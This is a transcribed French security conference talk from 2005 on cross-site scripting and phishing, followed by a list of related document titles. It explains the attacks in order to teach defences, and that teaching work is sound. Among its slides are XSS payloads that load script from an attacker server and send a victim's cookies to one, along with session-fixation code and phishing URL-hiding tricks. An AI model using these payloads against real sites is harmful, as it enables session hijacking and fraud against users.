Cross Site Scripting et Phishing
|
|
|
- Auguste Hébert
- il y a 8 ans
- Total affichages :
Transcription
1 HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet OpenSource et sécurité des applications Web Cross Site Scripting et Phishing JIP'2005 1er avril 2005 Thomas Seyrat - Thomas.Seyrat@hsc.fr
2 Attaques de type XSS 2
3 Rappel fonctionnement Web Rappel : HTML est un langage 3 Un navigateur est un interpréteur Le code à exécuter est envoyé par le serveur via le protocole HTTP Informations dans l'entête (cookies, type de document, status,...) Corps du document : tags HTML (exemple <BODY> <IMG>...) Extensions dynamiques : JavaScript, DHTML Interaction entre le document et le navigateur Génération dynamique de la page coté client Tag <SCRIPT> et attributs de type Onload, OnClick...
4 Exemple HTTP # socat - tcp4: :80 GET /app1/auth.php HTTP/1.0 Host: localhost.hsc.fr HTTP/ OK Date: Fri, 14 May :20:11 GMT Server: Apache/ (Gentoo/Linux) PHP/4.3.6RC2 X-Powered-By: PHP/4.3.6RC2 Set-Cookie: PHPSESSID=849c32ddc88c288f9ec78c9d392e0734; path=/ Connection: close Content-Type: text/html; charset=iso <HTML><Title>Auth Page</Title> <BODY BGCOLOR="white"> <FORM METHOD="POST">Login <input type="text" name="login" length=10 maxlength=10><br> Pass <input type="password" name="pass" length=10 maxlength=10><br> <input type="submit" name="ok" value="login"><br> </FORM> </BODY></HTML> 4
5 Mécanismes JavaScript Que peut faire le langage? Composer la page (document.write) Récupérer des informations sur le document (document.cookie, document.location,..) Charger une autre page (document.location =...) Popups,... Mécanismes de sécurité Les propriétés du document ne sont pas visibles par d'autres serveurs. 5 Exemple : une frame chargée depuis le serveur A ne peut pas lire les propriétés d'une autre chargée depuis le serveur B Le code JavaScript ne peut pas lire, modifier les préférences ou le disque de l'utilisateur. Extensions Microsoft "Active Scripting" : zones de sécurité
6 Cross Site Scripting XSS (différent de CSS == Cascading Style Sheet) Insertion non prévue de code HTML ou JavaScript dans la page envoyée par le serveur Exécution de ce code par le navigateur dans le contexte de sécurité du document envoyé par le serveur Attaque par injection de code sur le navigateur du client via le serveur Trois participants : L'attaquant : introduit le code sur le serveur. Le serveur : envoie la page contenant le code à la victime. La victime : exécute le code introduit par l'attaquant. Deux méthodes pour injecter le code : 6 Stockage par le serveur Page générée à partir de paramètres
7 XSS par «Stockage» L'attaquant envoie le code au serveur (exemple, dans un forum Web) Le serveur le stocke et l'envoie tel quel au client lors de la génération et la visualisation de la page... POST /newart.php Host: Content-Type: multipart/form-data subject=vds%20palm%20pas%20cher& texte=<script>alert("coucou!")</script> <body> <h2>vds Palm pas cher</h2><br> <hr> <script>alert("coucou!")</script> </body> GET /article.php?id=9081 Host: 7
8 XSS par «Réflexion» Utilisation d'une page paramétrée Exemple Affichage de la variable msg par le serveur Envoi de l'url via un ou un serveur de type tinyurl.com ou minilien.com <body> <h4>erreur:</h4><br> <script>alert("coucou!")</script> </body> From: To: GET /erreur.jsp?msg=<script>alert Subject: Un site sympa ("Coucou!');</script> Host: <html> Coucou, Regarde ce <a href= " <script>alert("coucou!');</script>">site! </a> <html> 8
9 Exploitation 1 Insertion de tags HTML 9 En particulier de tags Dégradation de l'image Forums pollués, masquage de la fin de la page <IMG SRC=
10 Exploitation 2 Redirection automatique vers un autre site : <script>document.location=" Rend inutilisable la page générée L'utilisateur ne comprend pas la manipulation Recupération du Referer (page précédente) dans les journaux du serveur Web de l'attaquant: [14/May/2004:15:54: ] "GET / HTTP/1.1" 200 " "Mozilla/5.0 (X11; U; Linux i686; en-us; rv:1.6) Gecko/ Firefox/0.8" Utilisation de scripts plus complexes, avec récupération du source sur le serveur de l'attaquant : 10 <script src=" Contraintes de longueur contournées
![Web de l'attaquant: 127.0.0.1 - - [14/May/2004:15:54:24 +0200] "GET / HTTP/1.1" 200 "http://localhost.hsc.fr/app1/article.php?id=15" "Mozilla/5.](/docs-images/43/1178915/images/page_10.jpg "0 (X11; U; Linux i686; en-us; rv:1.6) Gecko/20040207 Firefox/0.")
11 Exploitation 3 Récupération des identifiants de session Dans un cookie, ou dans l'url Le but est de les faire apparaître dans les journaux d'un serveur sous le contrôle de l'attaquant Exemple de code utilisant document.write : <script> document.write( '<IMG SRC = " + 'location=' + document.location + '&cookie='+ document.cookie + '">'); </script> L'image appelée est : 11
12 Exploitation 4 Fixation de session Principe : utiliser un XSS afin d'imposer un cookie connu à la victime Schéma : 12 L'attaquant se connecte sur le serveur en mode anonyme Il reçoit un cookie de session (ex JSP ou PHP) Il utilise un XSS sur un serveur du même domaine pour fixer le cookie chez la victime (via le code JavaScript de type document.cookie="phpsessionid=78191;domain=.site.fr" Il attend que la victime s'authentifie sur le serveur. Si celui ci est mal programmé (exemple sessions J2EE), le cookie sera accepté. L'attaquant possède alors un cookie de session authentifié valide qu'il peut utiliser en parallèle avec la victime
13 Exploitation 5 transaction.site.fr GET / HTTP/1.0 Host: transaction.banque.fr POST /auth.class HTTP/1.0 Host: transaction.banque.fr Cookie: JSESSIONID= login=user&pass=monpass Set-Cookie: JSESSIONID= JSESSIONID= ;domaine=.site.fr <a href= <script>document.cookie="jsessionid= ; domaine=.site.fr"</script> 13
14 Vol de session par XSS (via printenv) 3. GET /cgi-bin/printenv Cookie : JSESSIONID=[...]; ACTION=[...] Session authentifiée Suivi par cookie de session 1. Mail, Lien etc. 4. HTTP 200 OK Content-type: text/plain [...] ACTION=<script language=[...]></script> 5. GET /gif/logo.medium.gif?jsessionid=[...] 2. HTTP 200 OK Location: Set-Cookie: ACTION=<script language=[...]></script>; path=/; domain= ; Faille IE : interprétation des pages text/plain en text/html si des balises HTML sont détectées dans le corps de la réponse! XSS via le cookie ACTION 14
![HTTP 200 OK Location: https://www.domain.tld/cgi-bin/printenv Set-Cookie: ACTION=<script language=[...]></script>; www.hsc.fr path=/; domain=www.domain.tld ; Faille IE : interprétation des pages text/plain en text/html si des balises HTML sont détectées dans le corps de la réponse!](/docs-images/43/1178915/images/page_14.jpg "XSS via le cookie ACTION http://httpd.apache.org/info/css-security/apache_specific.html 14")
15 Solutions de protection 1 Idée la plus commune : Filtrer les entrées Supprimer <script> </script> ne règle pas tout (IMG, <%00script>,...) Il y a d'autres manières de générer du code dynamique (OnLoad, OnClick, IFRAME,...) Il faut donc être très strict dans ce qui est accepté, et comparer les entrées par rapport à une expression régulière de type [a-za-z0-9]+ Est-on sûr que le Web est la seule entrée de l'application? Minitel? Wap Flux XML? Est-on sûr que le Web est la seule sortie de l'application? 15 XML (RSS, WebApps) PostScript
16 Solutions de protection 2 Wap Html Xml Browser PostScript Minitel XML (WebApps) 16
17 Solutions de protection 3 Il faut convertir les données en sortie... Systématisation Ne dépend plus des entrées ni du contenu des bases de données... selon le langage PHP : htmlentities() Perl : escapehtml()dans CGI.pm J2EE : utilisation des taglibs ou des classes javax.swing.text.html ASP : HtmlEncode() Limites de cette approche 17 Insertion de tags HTML limités Nécessite donc parfois un parsing et stockage de données structurées Librairies de Washing (
18 Solutions de protection 4 Utilisation de modèles de haut niveau STRUTS Librairies PEAR en PHP Modèles MVC Attention aux bugs dans les serveurs eux même Multiples exemples dans Apache, TomCat, IIS, WebSphere,... En général dans les pages d'erreurs Se tenir à jour Gestion sécurisée des cookies 18 Une session anonyme ne doit pas être réutilisée Utilisation du marquage «secure» et not for javascript des cookies Selon le langage ça peut être difficile...
19 Conclusions Les problèmes de XSS concernent la majorité des applications Web Parfois considéré comme un problème résiduel Impacts pourtant potentiellement graves Attention : un XSS sur une partie d'un domaine peut impacter l'ensemble des sites Solutions Former les développeurs! Penser «globalement» aux problèmes de validation des données 19 Utiliser des technologies qui réduisent les risques ("Quand on réinvente la roue, il y a de fortes chances qu'elle ne soit pas tout à fait ronde"). Faire auditer les applications (audit de code ou audit intrusif aveugle)
20 Phishing Subterfuges et social engineering 20
21 Phishing : principe Phishing, hameçonnage, appâtage... Envoi massif d'un faux courriel apparemment authentique, utilisant l'identité d'une institution financière ou d'un site commercial connu, dans lequel on demande aux destinataires, sous différents prétextes, de mettre à jour leurs coordonnées bancaires ou personnelles, en cliquant sur un lien menant vers un faux site Web, copie conforme du site de l'institution ou de l'entreprise, où le pirate récupère ces informations, dans le but de les utiliser pour détourner des fonds à son avantage. En résumé : un attaquant fait passer son site web pour un autre 21
22 Un exemple : le courrier initial Parmi les premières victimes : ebay en 2003 Tout commence par la réception d'un courrier électronique en HTML From: SecretService@ebay.com Subject: "ebay Member Billing Information Updates" Dans le mail, lien vers ebay Billing Center, un site web dont l'adresse est : Adresse IP d'un hébergeur web coréen, loin des adresses IP usuelles d'ebay 22
23 Suite de l'exemple ebay : le site appât L'adresse étrange exceptée, on se croirait sur le site d'ebay... 23
24 Suite de l'exemple ebay : le site appât De plus en plus étrange... 24
25 Suite de l'exemple ebay : le site appât Plus du tout crédible... 25
26 Exemple plus subtil, plus récent... Janvier 2005, Amazon 26
27 Amazon, suite... Le lien pointe vers une URL sur le serveur : Aucun rapport avec Amazon 27
28 Amazon, suite... Finalement les informations sont demandées, mais pas trop pour ne pas éveiller les soupçons. Par contre, le site est en HTTP, c'est douteux... 28
29 Les cibles du phishing Les victimes Courriers envoyés massivement et sans discernement dans le cadre de campagnes de spamming Comme des spams, tout le monde reçoit ce genre de courriers, même s'il n'est pas utilisateur de Paypal, d'amazon, ou d'une banque en ligne... Exemple récent au Brésil : "They moved between 50 and 100 million reais ($18m and $37m) over the last two years... [and] sent over three million s with Trojan horses per day," Eduardo Cidreira, head of the police department in charge of Internet fraud in Brazil's southern state of Santa Catarina Les sites appâts les plus visés (statistiques APWG) ebay, Paypal, Amazon Citibank, US Bank, VISA, Suntrust, Keybank, etc. AOL, Earthlink, MSN, Yahoo! Sans citer ceux qui n'en parlent pas... 29
30 Les cibles du phishing Aujourd'hui : essentiellement anglophone Vise principalement des banques ou sites commerciaux américains Attaque transversale Compromission de systèmes connectés à Internet pour servir de Relais de spams Serveurs web illicites Utilisation de failles de logiciels client (navigateurs, clients mail) 30 Ou bien de "features" (langages de script) Abus de l'utilisateur (social engineering) : crédulité, manque de connaissances ou d'attention
31 Les techniques du phishing Dans les courriers électroniques 31 Sujets trompeurs Subject: Account information verification Adresses d'expédition usurpées (en effet, l'auteur du courrier n'attend pas de réponse) From: Prétextes fallacieux Vérification d'informations sur l'utilisateur "Sécurisation" du compte Nouveau message reçu sur le compte de l'utilisateur Menaces Suppression imminente du compte si pas de mise à jour Achat prétendu : débit imminent si pas d'annulation de la transaction
32 Les techniques du phishing Sur les pages web appât Apparence crédible : logos, textes soignés, utilisation de HTTPS, etc. Dissimulation de l'adresse du site (indice le plus évident) par tous les moyens possibles Utilisation d'adresse IP au lieu d'un nom complet Adresses longues et complexes pour décourager l'utilisateur Noms de domaines trompeurs : Dissimulation du lien derrière du texte vraisemblable Le texte " dans la page pointe via un lien HTML vers l'adresse du site sous le contrôle de l'attaquant, et du code Javascript Utilisation du format d'url pour tromper l'utilisateur avec login = d'où une URL comme : Subterfuges graphiques avec images ou code JavaScript Exploitation de failles de sécurité des navigateurs web pour dissimuler l'url réelle
33 Subterfuges graphiques Utilisation de code JavaScript pour dissimuler la barre d'url et/ou la remplacer 33 Par une image (Javascript cache la barre d'url du navigateur et la page appât comporte en haut une image qui ressemble à une barre d'url indiquant un site légitime)
34 Subterfuges graphiques Par un overlay en Javascript Ça ne marche pas à tous les coups! Si l'on place une autre fenêtre à l'endroit, ou si l'on déplace la fenêtre du navigateur, l'overlay s'affiche par dessus également Combinaisons des deux 34 Petite zone de texte noir sur fond blanc de la taille d'une barre d'adresse de navigateur, placée au dessus de la vraie barre d'adresse du navigateur Overlay pour la barre d'url et image pour la status bar du bas de l'écran
35 Exemple (14/01/2005) 35
36 Exemple (12/01/2005) 36
37 Exemple 37
38 Autres techniques de phishing Utilisation de vulnérabilités de site web cibles pour dissimuler des sites web d'attaque, principalement : Failles de Cross Site Scripting au secours du phishing... Sites permettant des redirections libres Ce pourquoi on retrouve des attaques de phishing visant un même site web durant certaines périodes Ex. Sunbank Exemple de dissimulation de lien par redirection : Et peut s'écrire discrètement %68%74%74%70%3a%2f%2f%77%77%77%2e%68%73%63%2e%66%72 Autre exemple : 38 Toutefois ces redirections ne dissimulent pas la barre d'url finale, mais simplement le lien sur lequel cliquer
39 Cross Site et phishing 39 Principe : Insertion de code malveillant dans une URL d'un site web légitime (vulnérable à un problème de XSS) avec reprise de ce code dans le corps de la page Par exemple au lieu d'insérer une image ici, on insère un formulaire qui intercepte la requête
40 Cross Site Frames et phishing C'est plus grave quand c'est sur un site bancaire! Exemple courant : site utilisant des cadres (frames) et passant les adresses des cadres dans l'url La valeur de "frame" est acceptée sans vérification et le code HTML généré ressemble à : <frameset>... <frame src="frame1.html">... </frameset> 40 Si la valeur de "frame" n'est pas vérifiée et intégrée telle quelle dans le code, et que quelqu'un atteint l'url alors la page de l'attaquant va s'afficher dans le navigateur, alors que la barre d'url indiquera toujours le site
41 Illustration Comment est-ce possible? 41
42 Illustration - Suite Premier lien : bancaire].com/includes/frameset.asp? id= site].com%2fus%2fcards%2ftour%2fcitiusa1%2findex.htm Et si on remplaçait cette URL par... autre chose comme 42
43 Illustration - Suite 43 L'attaquant n'a plus qu'à fabriquer sa fausse page web :
44 Illustration - Suite 44 La page réelle ressemble à :
45 Illustration - Suite 45 Et pourtant...
46 Illustration - Suite 46 Décidément...
47 Autre exemple (21/12/2004) Mail Le lien, dissimulé par JavaScript, est : Une redirection libre vers un site sous contrôle 47
48 Exemple - suite 48
49 Exemple - Récapitulatif JavaScript dissimule le lien d'origine dans le mail HTML Le lien utilise une redirection libre sur le site victime vers un site sous contrôle La page web sous contrôle dissimule la barre d'url par un overlay ou une image Indice pour la détection : les Propriétés de la page indiquent bien une URL qui n'est pas en visa.com Le formulaire demande des informations sur la carte 49 D'ailleurs il y a ici un bug : la barre d'adresse indique une URL https alors que la status bar du navigateur n'indique pas de cadenas Indice : il demande le code PIN de la carte, qui ne doit jamais être communiqué Ironie : le formulaire vérifie la cohérence du numéro de carte (impossible de rentrer des chiffres au hasard)!
50 Se protéger du phishing Pour un utilisateur, la règle d'or : MÉFIANCE! Ne jamais fournir d'informations personnelles ou confidentielles en réponse à une requête non sollicitée, que ce soit par courrier, mail, téléphone, fax, etc. Et surtout pas son mot de passe de connexion à sa banque en ligne, quelque soit le moyen! Personne (même légitime) ne vous réclamera jamais votre code PIN de carte bancaire Lorsque vous devez vous connecter à un site authentifié, ne cliquez jamais depuis un mail reçu ou en utilisant un lien depuis une page web : Un peu de bon sens! 50 Utilisez un favori (bookmark) ou tapez manuellement l'url dans le navigateur Regardez attentivement l'url du site que vous visitez, comparez avec l'url des Propriétés de la page, veillez à ce que le site utilise HTTPS et faire attention aux "cadenas" Observez le mail que vous recevez ou le site web que vous visitez : fautes d'orthographe? Images manquantes? Lenteur suspecte?...
51 Se protéger du phishing Pour l'utilisateur, les mesures complémentaires : Filtre anti-spam pour éviter de recevoir ce type de messages 51 Service fourni par le FAI, intégré à l'infrastructure de messagerie d'entreprise, sur le poste final, dans le logiciel de messagerie Des critères permettent aux filtres d'éliminer ce type de messages (adresses des serveurs de messagerie, mots-clefs dans le corps ou le sujet, etc.) Logiciel de messagerie méfiant et tenu à jour Gestion rigoureuse du HTML, avertissements Pas d'interprétation des langages de script Navigateur réputé pour sa meilleure sécurité et tenu à jour Ex: Firefox au lieu d'internet Explorer Mais le maintenir à jour! Extensions du navigateur ou logiciels tiers pour examiner les pages visitées
52 Se protéger du phishing Pour les sites "cibles" Redirections libres Utilisation de frames depuis des pages dynamiques Failles de Cross Site Scripting Pour tout le monde : éviter de se retrouver sans le vouloir plateforme d'attaque par phishing 52 Attention aux erreurs de programmation des applications, les sites faibles deviennent rapidement des cibles! Les attaques en phishing impliquent généralement la compromission massive de systèmes sur Internet pour : Envoyer les spams initiaux Héberger les sites web appât Veiller donc attentivement à la sécurité de ses systèmes pour éviter de participer à ce mouvement malgré soi!
53 Les perspectives du phishing Et si les utilisateurs se méfient? Les attaquants ont trouvé des parades Envoi de virus (troyens) espionnant les frappes clavier afin de récupérer des accréditations sur des sites bancaires Exemple: virus Troj/Banker-K, Troj/Banker-AR L'attaquant se reconnecte sur le site officiel dans le dos de la victime Envoi massif de courriers incorporant des logiciels néfastes 53 Ils ne cliquent pas dans les mails bizarres, ils retapent les URLs ou utilisent un favori, ils connaissent bien le site web où ils doivent se rendre et font attention à retrouver le même Modification de la résolution DNS des systèmes cibles (pharming) Interception des saisies utilisateur, renvoi au site légitime, puis à l'utilisateur : attaques Man In The Middle Mêmes défenses!
54 Merci de votre attention Questions? 54
Failles XSS : Principes, Catégories Démonstrations, Contre mesures
HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet Séminaire 15 ans HSC Failles XSS : Principes, Catégories Démonstrations,
INTERNET est un RESEAU D ORDINATEURS RELIES ENTRE EUX A L ECHELLE PLANETAIRE. Internet : interconnexion de réseaux (anglais : net = réseau)
CS WEB Ch 1 Introduction I. INTRODUCTION... 1 A. INTERNET INTERCONNEXION DE RESEAUX... 1 B. LE «WEB» LA TOILE, INTERCONNEXION DE SITES WEB... 2 C. L URL : LOCALISER DES RESSOURCES SUR L INTERNET... 2 D.
Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin
Sécurité des sites Web Pas un cours un recueil du net INF340 Jean-François Berdjugin Vulnérabilité Définition (wikipédia) : Dans le domaine de la sécurité informatique, une vulnérabilité est une faiblesse
Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)
Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4) Sommaire : Contenu I. Introduction:... 2 II. Présentation de l atelier :... 2 1) Attaque persistante :... 3 2) Attaque non persistante :...
Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement
Guillaume HARRY l Contenu sous licence Creative Commons CC-BY-NC-ND Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement P. 2 1. Introduction 2.
SECURIDAY 2013 Cyber War
Club de la Sécurité Informatique à l INSAT Dans le cadre de la 3ème édition de la journée nationale de la sécurité informatique SECURIDAY 2013 Cyber War SECURINETS Présente Atelier : Mail Threats Formateurs:
Les sites Internet dynamiques. contact : Patrick VINCENT pvincent@erasme.org
Les sites Internet dynamiques contact : Patrick VINCENT pvincent@erasme.org Qu est-ce qu un site Web? ensemble de pages multimédia (texte, images, son, vidéo, ) organisées autour d une page d accueil et
spam & phishing : comment les éviter?
spam & phishing : comment les éviter? Vos enfants et les e-mails en général Il est préférable que les très jeunes enfants partagent l adresse électronique de la famille plutôt que d avoir leur propre compte
Attaques applicatives
Attaques applicatives Attaques applicatives Exploitation d une mauvaise programmation des applications Ne touche pas le serveur lui-même mais son utilisation/ configuration Surtout populaire pour les sites
Vulnérabilités et solutions de sécurisation des applications Web
Vulnérabilités et solutions de sécurisation des applications Web Patrick CHAMBET EdelWeb ON-X Consulting patrick.chambet@edelweb.fr http://www.edelweb.fr http://www.chambet.com Eric Larcher RSSI Accor
Guide d'initiation aux. certificats SSL. Faire le bon choix parmi les options qui s'offrent à vous en matière de sécurité en ligne. Document technique
Document technique : Guide d'initiation aux certificats ssl Document technique Guide d'initiation aux certificats SSL Faire le bon choix parmi les options qui s'offrent à vous en matière de sécurité en
Protection des protocoles www.ofppt.info
ROYAUME DU MAROC Office de la Formation Professionnelle et de la Promotion du Travail Protection des protocoles DIRECTION RECHERCHE ET INGENIERIE DE FORMATION SECTEUR NTIC Sommaire 1. Introduction... 2
PHISHING/PHARMING. Les Nouvelles Techniques qui portent atteinte à l intégrité des S.I
PHISHING/PHARMING Les Nouvelles Techniques qui portent atteinte à l intégrité des S.I Livre blanc réalisé par le Dr Patrice Guichard Le Phishing Si le «phishing» n est pas à proprement parlé une technique
Activité sur Meteor. Annexe 1 : notion de client-serveur et notion de base de données
Activité sur Meteor Annexe 1 : notion de client-serveur et notion de base de données Notion de client-serveur Que se passe-t-il lorsque vous tapez dans la barre d'adresse de votre navigateur «http://www.google.fr»?
Fiche pratique. Présentation du problème. Pourquoi Rapport? Comment çà marche?
Présentation du problème La banque Boursorama propose un logiciel de protection supplémentaire pour les transactions sur Internet. Ce logiciel est téléchargeable à l adresse suivante : http://www.trusteer.com/webform/download-rapport
Failles des applications Web. Ce document est extrait du travail de diplôme de M. DIZON dans l état.
Failles des applications Web Ce document est extrait du travail de diplôme de M. DIZON dans l état. 1 Introduction...1 2 Contournement de validation javascript...2 2.1 Introduction...2 2.2 Principe de
L3 informatique TP n o 2 : Les applications réseau
L3 informatique TP n o 2 : Les applications réseau Sovanna Tan Septembre 2009 1/20 Sovanna Tan L3 informatique TP n o 2 : Les applications réseau Plan 1 Transfert de fichiers 2 Le Courrier électronique
Attaques de type. Brandon Petty
Attaques de type injection HTML Brandon Petty Article publié dans le numéro 1/2004 du magazine Hakin9 Tous droits reservés. La copie et la diffusion de l'article sont admises à condition de garder sa forme
Installation d un serveur HTTP (Hypertext Transfer Protocol) sous Débian 6
Installation d un serveur HTTP (Hypertext Transfer Protocol) sous Débian 6 1 BERNIER François http://astronomie-astrophotographie.fr Table des matières Installation d un serveur HTTP (Hypertext Transfer
Vulnérabilités et sécurisation des applications Web
OSSIR 09/09/2002 Vulnérabilités, attaques et sécurisation des applications Web Pourquoi les firewalls sont impuissants patrick.chambet@edelweb.fr http://www.edelweb.fr http://www.chambet.com Page 1 Planning
Sécuriser les achats en ligne par Carte d achat
Projet Sécurité Date : 09/02/09 Version : V 1.0 Etat : travail / vérifié / validé Rédacteur : JBO Réf. : CNRS/DSI/Expertise/ sécuriser la carte achat-v1.doc Annexes : Sécuriser les achats en ligne par
Création d'un site dynamique en PHP avec Dreamweaver et MySQL
Création d'un site dynamique en PHP avec Dreamweaver et MySQL 1. Création et configuration du site 1.1. Configuration de Dreamweaver Avant de commencer, il est nécessaire de connaître l'emplacement du
Coupez la ligne des courriels hameçons
Coupez la ligne des courriels hameçons Les fraudeurs qui cherchent à mettre la main sur des renseignements personnels ont élaboré un nouveau moyen d attirer des victimes sans méfiance. Ils lancent un «hameçon».
Petite définition : Présentation :
Petite définition : Le Web 2.0 est une technologie qui permet la création de réseaux sociaux, de communautés, via divers produits (des sites communautaires, des blogs, des forums, des wiki ), qui vise
\ \ / \ / / \/ ~ \/ _ \\ \ ` \ Y ( <_> ) \ / /\ _ / \ / / \/ \/ \/ Team
\ \ / \ / / \/ ~ \/ _ \\ \ ` \ Y ( ) \ / /\ _ / \ / / \/ \/ \/ Team Tutoriel Hacking La faille XSS ------------------------ By H4X0R666 Ce tutoriel portera sur l exploitation de la faille XSS et sur
FORMATION / CREATION DE SITE WEB / 4 JOURNEES Sessions Octobre 2006
I. INTRODUCTION 1. Présentation du formateur et des élèves 2. Historique internet : d'où ça vient a. Historique général : 3 étapes majeures 1. l'histoire de l'informatique débute en 1942 avec la première
Identification sur le site de la Chambre de Métiers et de l'artisanat de l'ain
Identification sur le site de la Chambre de Métiers et de l'artisanat de l'ain La Chambre de métiers et de l'artisanat de l'ain met à votre disposition plusieurs services sur son espace Internet. Certains
Application Web et J2EE
Application Web et J2EE Servlet, JSP, Persistence, Méthodologie Pierre Gambarotto Département Informatique et Math appli ENSEEIHT Plan Introduction 1 Introduction Objectfis
Tech-Evenings Sécurité des applications Web Sébastien LEBRETON
Tech-Evenings Sécurité des applications Web Sébastien LEBRETON Pourquoi revoir la sécurité des applications Web Des technologies omniprésentes Facilité de mise en œuvre et de déploiement. Commerce en ligne,
Les menaces informatiques
Tout ordinateur connecté à un réseau informatique est potentiellement vulnérable à une attaque. Une «attaque» est l'exploitation d'une faille d'un système informatique (système d'exploitation, logiciel
PARAMETRER LA MESSAGERIE SOUS THUNDERBIRD
PARAMETRER LA MESSAGERIE SOUS THUNDERBIRD Ref : FP. P763 V 5.0 Résumé Ce document vous indique comment paramétrer votre messagerie sous Thunderbird. Vous pourrez notamment, créer, modifier ou supprimer
Les risques HERVE SCHAUER HSC
HERVE SCHAUER HSC Les risques Les risques ne cessent d'augmenter: Informatisation systématique de l'ensemble de la société Ouverture des systèmes d'information sur Internet Démultiplication de ce qui est
Introduction. PHP = Personal Home Pages ou PHP Hypertext Preprocessor. Langage de script interprété (non compilé)
Introduction PHP = Personal Home Pages ou PHP Hypertext Preprocessor Langage de script interprété (non compilé) Plan Avantages Fonctionnement interne Bases du langage Formulaires Envoi d un email Avantages
Internet sans risque surfez tranquillement
Pare-Feu Scam Hameçonnage Pourriel Spam Spywares Firewall Ver Phishing Virus Internet quelques chiffres : Les derniers chiffres de l'arcep (Autorité de Régulation des Communications Electroniques des Postes)
Les menaces sur internet, comment les reconnait-on? Sommaire
LES Les menaces sur internet, comment les reconnait-on? Sommaire 1. Le virus 2. Le phishing (ou hameçonnage) 3. Le cheval de Troie 4. Le spyware (ou logiciel espion) 5. Le ver informatique 6. Le piratage
Présenté par : Mlle A.DIB
Présenté par : Mlle A.DIB 2 3 Demeure populaire Prend plus d ampleur Combinée avec le phishing 4 Extirper des informations à des personnes sans qu'elles ne s'en rendent compte Technique rencontrée dans
OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI
OWASP Open Web Application Security Project Jean-Marc Robert Génie logiciel et des TI A1: Injection Une faille d'injection, telle l'injection SQL, OS et LDAP, se produit quand une donnée non fiable est
Ateliers de formation Internet. L emailing
Ateliers de formation Internet L emailing Créer du trafic : Exploiter l emailing Objectif de ce module : délivrer les fondamentaux de l emailing, proposer des solutions d exploitation adaptées au budget
Utilisation de l e-mail. Sommaire
Utilisation de l e-mail Sommaire Notions de base...2 Généralités...2 Les adresses e-mail...3 Composition d une adresse e-mail...3 Interface d Outlook Express...4 Copie d écran...4 Composition de l interface...4
Les rootkits navigateurs
Sogeti/ESEC Les rootkits navigateurs 1/52 Les rootkits navigateurs Christophe Devaux - christophe.devaux@sogeti.com Julien Lenoir - julien.lenoir@sogeti.com Sogeti ESEC Sogeti/ESEC Les rootkits navigateurs
HTTP HTTP. IUT1 dpt SRC L Isle d Abeau Jean-françois Berdjugin. Introduction et architecture Messages Authentification Conclusion
HTTP IUT1 dpt SRC L Isle d Abeau Jean-françois Berdjugin HTTP Introduction et architecture Messages Authentification Conclusion 1 HTTP Introduction et architecture Hypertext Transfert Protocol URI (Uniform
A. Sécuriser les informations sensibles contre la disparition
Compétence D1.2 II - : Sécuriser son espace de travail local et distant II Sécuriser les informations sensibles contre la disparition 23 Assurer la protection contre les virus 24 A. Sécuriser les informations
FORMATION PcVue. Mise en œuvre de WEBVUE. Journées de formation au logiciel de supervision PcVue 8.1. Lieu : Lycée Pablo Neruda Saint Martin d hères
FORMATION PcVue Mise en œuvre de WEBVUE Journées de formation au logiciel de supervision PcVue 8.1 Lieu : Lycée Pablo Neruda Saint Martin d hères Centre ressource Génie Electrique Intervenant : Enseignant
Gilles.Roussel univ-mlv.fr HTTP/1.1 RFC 2068
HTTP/1.1 RFC 2068 1 Caractéristiques Niveau application Sans état Tout transfert de données Au dessus du protocole TCP Largement utilisé dans le World Wide Web Utilise les normes : URI (Uniform Resource
WebSSO, synchronisation et contrôle des accès via LDAP
31 mars, 1er et 2 avril 2009 WebSSO, synchronisation et contrôle des accès via LDAP Clément Oudot Thomas Chemineau Sommaire général Synchronisation d'identités WebSSO et contrôle des accès Démonstration
L E S M E S S A G E S S P A M & P H I S H I N G
N E W S L E T T E R N 1 / 2 0 1 3 Newsletter N 5/2015 Spam, spam, spam, lovely spam, wonderful spam, lovely spam, wonderful spam... - la chanson spam de Monty Python s Flying Circus L E S M E S S A G E
1. En moyenne, un ordinateur sans protection connecté à Internet est infecté après... quelques minutes 10 12 heures 3 jours plus d une semaine
Quiz sur la sécurité: réponses et explications 1. En moyenne, un ordinateur sans protection connecté à Internet est infecté après... quelques minutes 10 12 heures 3 jours plus d une semaine Ce n est vraiment
ANSSI PROCEDURES DE REPORTING DES INCIDENTS AVEC LE CIRT RÔLES DES PARTIES PRENANTES 15/02/2014. SEMINAIRE DE Joly Hôtel
ANSSI PROCEDURES DE REPORTING DES INCIDENTS AVEC LE CIRT RÔLES DES PARTIES PRENANTES 15/02/2014 SEMINAIRE DE Joly Hôtel aristide.zoungrana at arcep.bf AGENDA 2 Définitions Les incidents rencontrés par
Administration du site (Back Office)
Administration du site (Back Office) A quoi sert une interface d'administration? Une interface d'administration est une composante essentielle de l'infrastructure d'un site internet. Il s'agit d'une interface
LE PHISHING, PÊCHE AUX POISSONS NAÏFS
LE GUIDE LE PHISHING, PÊCHE AUX POISSONS NAÏFS Phishing. Technique de fraude associant l envoi d un courrier électronique non sollicité (spam) et la mise en place d un site Web illégal. Accessible au travers
BANQUE NEUFLIZE OBC LES BONNES PRATIQUES INTERNET ET MESSAGERIE
BANQUE NEUFLIZE OBC LES BONNES PRATIQUES INTERNET ET MESSAGERIE VIRUS SPAM PHISH NG INTERNET WIFI Les risques informatiques aujourd hui L environnement de la cybercriminalité est toujours en forte progression
Comment utiliser mon compte alumni?
Ce document dispose d une version PDF sur le site public du CI Comment utiliser mon compte alumni? Elena Fascilla, le 23/06/2010 Sommaire 1. Introduction... 2 2. Avant de commencer... 2 2.1 Connexion...
Sommaire Accès via un formulaire d'identification... 4 Accès en mode SSO... 5 Quels Identifiant / mot de passe utiliser?... 6
Sommaire Accès via un formulaire d'identification... 4 Accès en mode SSO... 5 Quels Identifiant / mot de passe utiliser?... 6 2 І O2S Intégration O2S dans un site Internet Ce document présente une description
Manuel d utilisation email NETexcom
